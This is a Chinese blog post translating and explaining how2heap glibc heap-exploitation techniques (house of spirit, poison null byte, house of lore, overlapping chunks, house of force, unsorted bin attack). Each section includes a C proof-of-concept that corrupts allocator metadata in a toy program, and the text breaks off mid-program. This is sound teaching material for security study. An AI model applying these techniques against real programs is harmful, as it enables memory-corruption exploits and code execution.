作者:7o8v_
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 前言
"how2heap"是shellphish团队在Github上开源的堆漏洞系列教程. 我这段时间一直在学习堆漏洞利用方面的知识,看了这些利用技巧以后感觉受益匪浅. 这篇文章是我学习这个系列教程后的总结,在此和大家分享.我会尽量翻译原版教程的内容,方便英语不太好的同学学习. 不过在学习这些技巧之前,建议大家去看一看华庭写的"Glibc内存管理-Ptmalloc2源码分析"
在此也给出原版教程链接:
https://github.com/shellphish/how2heap
补充
上篇的总结因为在微信公众号发过了,所以不在这里发,可以到我的博客去看。博客:reversing.win
这次的翻译部分我决定再随性一点,每一句尽量使用我自己的理解。
而且原文有些错误的地方或者表意不明的地方我会在翻译部分修正,要是原文看不太明白,可以看我的翻译。
然后就是输出部分我就不贴了,大家想要学习的就自己在机器上输出看看。 😛
0x01 测试环境
Ubuntu 16.04.3 LTS x64
GLIBC 2.23
0x02 目录
house_of_spirit
poison_null_byte
house_of_lore
overlapping_chunks
overlapping_chunks_2
house_of_force
unsoted_bin_attack
0x03 house_of_spirit
源码:
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.n");
printf("Calling malloc() once so that it sets up its memory.n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64)."
"The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. "
"E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) "
"to pass the nextsize integrity checks. No need for fastbin size.n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %pn", malloc(0x30));
}
翻译:
这个程序展示了一种被称为house_of_spirit的攻击方式。
首先调用一次malloc来初始化内存布局。
我们将会修改一个指针去指向一个fake fastbin区域。
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
这个区域长度为0x50,里面包含了两个chunk。第一个chunk开始于fake_chunk[0],第二个chunk开始于fake_chunk[8]。
第一个chunk的size要在fastbin的范围内(x64机器上是 < 0x80),同时注意实际大小比可用大小多两个单元。
因为这个chunk被我们伪装成了fastbin,所以PREV_INUSE是什么都无所谓(free的时候不会管这个标志位),但是IS_MMAPPED和NON_MAIN_ARENA两个标志位是会有影响的,确保为0就行。
还有需要注意的是,我们用malloc申请内存的时候,表示内存大小的参数最后是会因为对齐的操作,使得我们输入不同的参数可能都会返回同样大小的内存,比如在x64的机器上我们申请0x30~0x38大小的内存,最后都会返回给我们0x40大小的内存。所以,如果我们想要一个0x40大小的内存,上面表示的大小范围内的值都可以作为malloc的参数。
还有就是第二个fake chunk的size必须要大于2*size_t(x64机器上是16字节),且必须小于main arena的大小,一般来讲是128kb,以此来pass掉chunk是否正常的检查。
然后我们将要free的指针的值改为fake chunk的地址fake_chunk[2]
还有一点比较重要,fake chunk的地址必须是16字节对齐(x86机器上是8字节对齐)。
由于我们的fake chunk伪造的size值为0x40,所以之后malloc(0x30~0x38)都会返回fake_chunk[2]的地址。
需要注意的是,这个示例中的fake chunk是布置在栈上的。
这里我画一张图来帮助理解:
构造fake_chunk_1的目的是我们最后要返回它的指针来控制这片区域;而构造fake_chunk_2的目的是为了pass掉free()的检查使得我们可以成功返回fake_chunk_1的指针。 free之后的效果是这样的:
栈地址被成功放到了fastbin的链表上,之后就能把它malloc出来了。
当我们伪造的fake chunk内部存在不可控区域的时候,运用这个技术就可以将这片区域变成可控的了。
关于这个技术如果要练手的话,可以去做一下 pwnable.tw 上的 spirited_away 这道题。(后续我会将解题思路放到我的博客,可能不会放wp。)
0x04 poison_null_byte
源码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
printf("Welcome to poison null byte 2.0!n");
printf("Tested in Ubuntu 14.04 64bit.n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
printf("We allocate 0x100 bytes for 'a'.n");
a = (uint8_t*) malloc(0x100);
printf("a: %pn", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#xn", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %pn", b);
c = (uint8_t*) malloc(0x100);
printf("c: %pn", c);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lxn", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_usen");
printf("We overflow 'a' with a single null byte into the metadata of 'b'n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lxn", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lxn",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %pn",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %lxn",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lxn",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %pn",b2);
memset(b2,'B',0x80);
printf("Current b2 content:n%sn",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.n");
d = malloc(0x300);
printf("d: %pn",d);
printf("Now 'd' and 'b2' overlap.n");
memset(d,'D',0x300);
printf("New b2 content:n%sn",b2);
printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
"for the clear explanation of this technique.n");
}
翻译:
这个技术可被用于当可以被malloc的区域(也就是heap区域)存在一个单字节溢出漏洞的时候。
我们先分配0x100个字节的内存,代号'a'。
如果我们想要去溢出a的话,我们需要知道它的实际大小(因为空间复用的存在),在我的机器上是0x108。
然后接着我们分配0x200个字节,代号'b'。
再分配0x100个字节,代号'c'。
uint8_t* a = malloc(0x100);
uint8_t* b = malloc(0x200);
uint8_t* c = malloc(0x100);
那么我们现在就有三个内存块:
a: 0x100
b: 0x200
c: 0x100
在新版glibc环境下,我们需要在b内部更新size来pass 'chunksize(P) != prev_size (next_chunk(P))'
*(size_t*)(b+0x1f0) = 0x200;
free(b)
b.size: 0x211 == ((0x200 + 0x10) | pre_in_use)
我们在a实现一个单字节的 null byte 溢出。
之后 b.size = 0x200
此时c.presize = 0x210 但是没关系我们还是能pass掉前面那个check。
这个时候:
b1 = malloc(0x100);
返回给b1的地址就是前面free掉的b的地址。
有趣的是现在C的presize在原来地址的后面两个单元位置处更新。 OK,我们再malloc一块内存。
b2 = malloc(0x80);
此时刚才的presize依然会更新,而且b2整个块也仍然在原来b的内部。
之后我们将b1和c依次free。这会导致b1开始的位置一直到c的末尾中间的内存会合并成一块。
free(b1);
free(c);
d = malloc(0x300);
返回的地址还是原来b的地址,重要的是刚才没有free的b2被包含在了里面!
我想这里的难点在于明白为什么后面的合并会发生。
还记得,在我们第一次free(b)之前,进行了如下的设置:
*(size_t*)(b+0x1f0) = 0x200;
这一步非常关键,可以确保我们之后进行null byte溢出后,还能成功free(b)。
这和上一个例程house_of_spirit对fake_chunk_2进行的设置的道理是一样的,逃过 'chunksize(P) != prev_size (next_chunk(P))' 的检查。
之后分配b1和b2的时候,presize也会一直在(b+0x1f0)处更新。
而在最后free(c)的时候,检查的是c的presize位,而因为最开始的null byte溢出,导致这块区域的值一直没被更新,一直是b最开始的大小 0x210 。
而在free的过程中就会认为前面0x210个字节都是空闲的,于是就错误地进行了合并,然而glibc忽略了中间还有个可怜的b2。
更详细的讲解可以参考这篇paper
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
0x05 house_of_lore
【注】:源码我改动过,使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行,不过改了之后看得更直观。
源码
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
printf("nWelcome to the House of Loren");
printf("This is a revisited version that bypass also the hardening check introduced by glibc mallocn");
printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23nn");
printf("Allocating the victim chunkn");
intptr_t *victim = malloc(0x80);
printf("Allocated the first small chunk on the heap at %pn", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
printf("stack_buffer_1 at %p stack_buffer_1[1] at %pn", (void*)stack_buffer_1,(void*)&stack_buffer_1[1]);
printf("stack_buffer_2 at %p stack_buffer_2[1] at %pn", (void*)stack_buffer_2,(void*)&stack_buffer_2[1]);
printf("Create a fake chunk on the stackn");
printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted "
"in second to the last malloc, which putting stack address on smallbin listn");
stack_buffer_1[2] = victim_chunk;
printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stackn");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
printf("Allocating another large chunk in order to avoid consolidating the top chunk with "
"the small one during the free()n");
void *p5 = malloc(1000);
printf("Allocated the large chunk on the heap at %pn", p5);
printf("Freeing the chunk %p, it will be inserted in the unsorted binn", victim);
free((void*)victim);
printf("nIn the unsorted bin the victim's fwd and bk pointers are niln");
printf("victim->fwd: %pn", (void *)victim[0]);
printf("victim->bk: %pnn", (void *)victim[1]);
printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small binn");
printf("This means that the chunk %p will be inserted in front of the SmallBinn", victim);
void *p2 = malloc(1200);
printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %pn", p2);
printf("The victim chunk has been sorted and its fwd and bk pointers updatedn");
printf("victim->fwd: %pn", (void *)victim[0]);
printf("victim->bk: %pnn", (void *)victim[1]);
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->bk pointern");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
printf("Now allocating a chunk with size equal to the first one freedn");
printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointern");
void *p3 = malloc(0x80);
printf("p3 = %pn",p3 );
printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bkn");
char *p4 = malloc(0x80);
printf("p4 = malloc(0x80)n");
printf("nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %pn",
stack_buffer_2[2]);
printf("np4 is %p and should be on the stack!n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
翻译
在栈上有分配两个数组如下
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
分配好victim chunk
victim = malloc(0x80)
intptr_t* victim_chunk = victim-2;
这是heap上的第一个small chunk
然后在栈上制造一个fake chunk
stack_buffer_1[2] = victim_chunk;
这里的stack_buffer_1[2]刚好是我们要构造的第一个fake_chunk的fd指针的位置。
上面的操作可以pass掉后面malloc对于smallbin的检查。
再进行下面的操作:
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_1[3]是第一个fake chunk的bk字段
和上面一样是为了pass掉malloc的检查。
然后申请一块大内存,来防止等一下free的时候把我们精心构造好的victim chunk给合并了。
void *p5 = malloc(1000);
现在把victim chunk给free掉,之后它会被放入unsortedbin中。
放入unsortedbin之后victim chunk的fd和bk会同时指向unsortedbin的头部。
现在执行一个不能被unsortedbin和smallbin响应的malloc。
void *p2 = malloc(1200);
malloc之后victim chunk将会从unsortedbin转移到smallbin中。
同时它的fd和bk也会更新,改为指向smallbin的头部。
现在假设发生了溢出改写了victim的bk指针
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
现在开始malloc和victim大小相同的内存块。
p3 = malloc(0x80);
返回给p3地址就是原来的victim地址,而且此时前面伪造的fake chunk也被连接到了smallbin上。
再次malloc
p4 = malloc(0x80);
这次返回的p4就将是一个栈地址!
这个技术最重要的地方在于成功将victim chunk和两个fake chunk构造成双向链表。
还是给个示意图:
这就是布局好的双向链表。
可以看到stack_buffer_2的bk字段是空着的,那是因为我们这时没有进行信息的泄露,如果泄露出smallbin_head的值并填上去的话,这个链表才算是完整,当然如果没必要的话可以不这样做。尽管之后的针对这个smallbin的malloc会报错。
在前面我补充说过:
【注】:源码我改动过,使其编译为64位可执行文件仍能正常运行。其实不改的话也能正常运行,不过改了之后看得更直观。
原来的代码中victim chunk的大小是100,malloc之后会对齐到0x70。
0x70在32位系统上属于smallbin,在64位系统上属于fastbin。
原本针对32位程序的代码编译为64位程序也能正常运行,这是为什么?
这是因为,不管这个0x70大小的victim chunk是先加入unsotedbin还是fastbin,在之后都会被加入到smallbin中,smallbin也有0x70大小的链表!
可以看下图,这时victim chunk被加入fastbin链表的时候:
在经过 void *p2 = malloc(1200); 后:
而在我改过代码之后,victim chunk就是正常地先加入unsortedbin再加入smallbin了。
0x06 overlapping_chunks
源码:
/*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
printf("nThis is a simple chunks overlapping problemnn");
printf("Let's start to allocate 3 chunks on the heapn");
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
printf("The 3 chunks have been allocated here:np1=%pnp2=%pnp3=%pn", p1, p2, p3);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
printf("nNow let's free the chunk p2n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possiblennew malloc() of its sizen");
printf("Now let's simulate an overflow that can overwrite the size of the chunk freed p2.n");
printf("For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.n");
printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.n");
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives usna region size of %dn",
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
printf("nNow let's allocate another chunk with a size equal to the datan"
"size of the chunk p2 injected sizen");
printf("This malloc will be served from the previously freed chunk thatn"
"is parked in the unsorted bin which size has been modified by usn");
p4 = malloc(evil_region_size);
printf("np4 has been allocated at %p and ends at %pn", p4, p4+evil_region_size);
printf("p3 starts at %p and ends at %pn", p3, p3+80);
printf("p4 should overlap with p3, in this case p4 includes all p3.n");
printf("nNow everything copied inside chunk p4 can overwrites data onnchunk p3,"
" and data written to chunk p3 can overwrite datanstored in the p4 chunk.nn");
printf("Let's run through an example. Right now, we have:n");
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
printf("nIf we memset(p4, '4', %d), we have:n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
printf("nAnd if we then memset(p3, '3', 80), we have:n");
memset(p3, '3', 80);
printf("p4 = %sn", (char *)p4);
printf("p3 = %sn", (char *)p3);
}
翻译:
这是一个简单的堆块重叠的问题。
先malloc三个堆块:
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
现在free掉p2
p2被free之后加入到了unsortedbin链表中待命
现在让我们模拟一个可以改写p2.size的溢出。
int evil_chunk_size = 0x181;
*(p2-1) = evil_chunk_size;
对于我们这个例子来讲三个标志位影响不是很大,但是为了保持堆的稳定性,还是不要随意改动。
至少我们要确保pre_in_use为true,不要让p1被误认为被free了。
我们将p2的size改写为0x181,之后的malloc就会返回给我们一个0x178(可使用大小)的堆块。
…
下面的就不再翻译了,大概意思就是malloc(0x178)返回了p2的地址,而且包含了整个p3在里面。
int evil_region_size = 0x180 - 8;
p4 = malloc(evil_region_size);
返回给p4的地址就是原来p2的,而且p4中包含了还没被free的p3。
我们前面通过溢出一个null byte来达到overlapping chunk的效果。
这里就非常简单暴力了,直接修改已经free的chunk的size字段,而且只用修改这个字段,就可以达到攻击的目的了。
之后的malloc就可以返回一个带有overlapping效果的chunk。
没太多可讲的,整个过程也比较简单。
0x07 overlapping_chunks_2
源码:
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
printf("nThis is a simple chunks overlapping problem");
printf("nThis is also referenced as Nonadjacent Free Chunk Consolidation Attackn");
printf("nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
printf("nnchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
printf("nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
printf("nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
printf("nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
printf("nchunk p5 from %p to %pn", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
printf("nLet's free the chunk p4.nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4n");
free(p4);
printf("nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2nwith the size of chunk_p2 + size of chunk_p3n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
printf("nNow during the free() operation on p2, the allocator is fooled to think that nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) n");
printf("nThis operation will basically create a big free chunk that wrongly includes p3n");
free(p2);
printf("nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunkn");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
printf("nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and nwe can overwrite data in p3 by writing on chunk p6n");
printf("nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
printf("nchunk p3 from %p to %pn", p3, (unsigned char *) p3+real_size_p3);
printf("nData inside chunk p3: nn");
printf("%sn",(char *)p3);
printf("nLet's write something inside p6n");
memset(p6,'F',1500);
printf("nData inside chunk p3: nn");
printf("%sn",(char *)p3);
}
翻译:
这同样是一个简单的堆块重叠的问题。
这也被称为非相邻free chunk合并攻击。
首先malloc五个堆块:
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
free(p4);
因为p5的存在所以p4不会被合并。
然后我们在p1触发一个溢出,将p2的size改写成p2和p3大小的和。
之后free(p2)的时候,分配器就会认为p4是下一个块(忽略p3)。
然后就会错误地将p3和p2合并。
p6 = malloc(2000);
这时返回给p6的地址就是p2的地址了,p6内部也包含了未被free的p3。
我们可以愉快地通过p6来改写p3中的任何数据。
这个例程介绍的是获得overlapping chunk的另外一种方法。
上面那种方法是在chunk已经被free的情况下直接修改size字段,然后将chunk malloc出来。
这个例程是在chunk被free之前,通过修改size,然后free,欺骗free函数去修改了下一个chunk的presize字段来强行“合并”堆块。
这里就是设置了p2的size为p2和p3大小的和,之后更新presize的时候是通过p2的地址加上p2的size来寻找的要修改的位置的,这里刚好就把p4头部的presize给改掉了。
之后的malloc也顺理成章地将p2和p3作为一块内存分配给我们了,尽管p3没有被free。
0x08 house_of_force
源码:
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
printf("nWelcome to the House of Forcenn");
printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.n");
printf("The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.n");
printf("nIn the end, we will use this to overwrite a variable at %p.n", bss_var);
printf("Its current value is: %sn", bss_var);
printf("nLet's allocate the first chunk, taking space from the wilderness.n");
intptr_t *p1 = malloc(256);
printf("The chunk of 256 bytes has been allocated at %p.n", p1);
printf("nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.n");
int real_size = malloc_usable_size(p1);
printf("Real size (aligned and all that jazz) of our allocated chunk is %d.n", real_size);
printf("nNow let's emulate a vulnerability that can overwrite the header of the Top Chunkn");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
printf("nThe top chunk starts at %pn", ptr_top);
printf("nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.n");
printf("Old size of top chunk %#llxn", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
printf("New size of top chunk %#llxn", *((unsigned long long int *)ptr_top));
//------------------------
printf("nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer "
"overflow) and will then be able to allocate a chunk right over the desired region.n");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
printf("nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,n"
"we will malloc %#lx bytes.n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
printf("As expected, the new pointer is at the same place as the old top chunk: %pn", new_ptr);
void* ctr_chunk = malloc(100);
printf("nNow, the next chunk we overwrite will point at our target buffer.n");
printf("malloc(100) => %p!n", ctr_chunk);
printf("Now, we can finally overwrite that value:n");
printf("... old string: %sn", bss_var);
printf("... doing strcpy overwrite with "YEAH!!!"...n");
strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %sn", bss_var);
// some further discussion:
//printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessednn");
//printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we nwant to set this result to the address of malloc_got_address-8nn");
//printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_sizenn");
//printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8nn");
//printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_addressnn");
//printf("The large chunk with evil_size has been allocated here 0x%08xn",p2);
//printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08xn",malloc_got_address);
//printf("This last malloc will be served from the remainder code and will return the av->top+8 injected beforen");
}
翻译:
house_of_force的主要思想是,通过改写top chunk来使malloc返回任意地址。
top chunk是一块非常特殊的内存,它存在于堆区的最后,而且一般情况下,当malloc向os申请内存时,top chunk的大小会变动。
我们就利用这个机制来改写一个变量
char bss_var[]= "This is a string that we want to overwrite.";
先分配第一个chunk:
intptr_t *p1 = malloc(256);
现在heap区域就存在了两个chunk一个是p1,一个是top chunk。
p1的真实大小应该是 0x100 + 0x8
现在模拟一个漏洞,改写top chunk的头部,top chunk的起始地址为:
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
用一个很大的值来改写top chunk的size,以免等一下申请内存的时候使用mmap来分配:
ptr_top[0] = -1;
改写之后top chunk的size=0xFFFFFFFF。
现在top chunk变得非常大,我们可以malloc一个在此范围内的任何大小的内存而不用调用mmap。
接下来malloc一个chunk,使得这个chunk刚好分配到我们想控制的那块区域为止,然后我们就可以malloc出我们想控制的区域了。
比如:我们想要改写的变量位置在0x602060,top chunk 的位置在0x127b528,再算上head的大小,我们将要malloc 0xffffffffff386b28 个字节。
新申请的这个chunk开始于原来top chunk所处的位置。
而此时top chunk已经处在0x602050了,之后再malloc就会返回一个包含我们想要改写的变量的chunk了。
这个例程和它的名字一样暴力,直接对top chunk下手,想法很大胆的一种攻击方式。
首先是修改top chunk的size字段为-1(在x64机器上实际大小就为0xFFFFFFFF)
然后malloc一个很大的值Large,L的计算就是用你想控制的地址的值Ctrl减去top地址的值Top,那么Large = Ctrl – Top 。
malloc(Large);
用malloc申请了这个chunk之后top chunk是这样的:
这个技巧的利用效果就是,我们可以用malloc返回一个heap区域之前的地址。
0x09 unsorted_bin_attack
源码:
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stackn");
printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attacknn");
unsigned long stack_var=0;
printf("Let's first look at the target we want to rewrite on stack:n");
printf("%p: %ldnn", &stack_var, stack_var);
unsigned long *p=malloc(400);
printf("Now, we allocate first normal chunk on the heap at: %pn",p);
printf("And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()nn");
malloc(500);
free(p);
printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %pn",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
printf("Now emulating a vulnerability that can overwrite the victim->bk pointern");
printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%pnn",(void*)p[1]);
//------------------------------------
malloc(400);
